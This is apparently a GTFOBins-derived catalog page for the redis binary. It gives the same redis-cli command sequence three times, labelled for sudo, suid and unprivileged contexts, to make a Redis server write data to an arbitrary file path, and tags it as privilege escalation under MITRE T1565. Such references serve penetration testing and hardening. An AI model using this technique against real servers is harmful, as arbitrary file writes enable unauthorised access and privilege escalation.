CatalogGTFOBins

GTFO · Tool

redis

3 techniquesLinuxGTFOBinsGPL-3.0

file-write

File WritePrivilege EscalationLinux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565